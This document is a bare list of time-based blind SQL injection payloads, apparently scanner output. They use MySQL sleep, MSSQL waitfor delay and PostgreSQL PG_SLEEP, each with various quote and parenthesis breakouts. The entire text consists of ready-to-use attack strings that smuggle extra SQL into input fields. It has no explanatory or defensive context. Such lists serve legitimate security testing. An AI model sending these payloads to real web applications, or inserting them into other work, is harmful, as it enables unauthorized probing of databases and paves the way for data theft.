1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

wK6XPOQN'; waitfor delay '0:0:15' --

TzqkxgMv'); waitfor delay '0:0:15' --

1qcVCdfB')); waitfor delay '0:0:15' --

-5 OR 721=(SELECT 721 FROM PG_SLEEP(15))--

-5) OR 478=(SELECT 478 FROM PG_SLEEP(15))--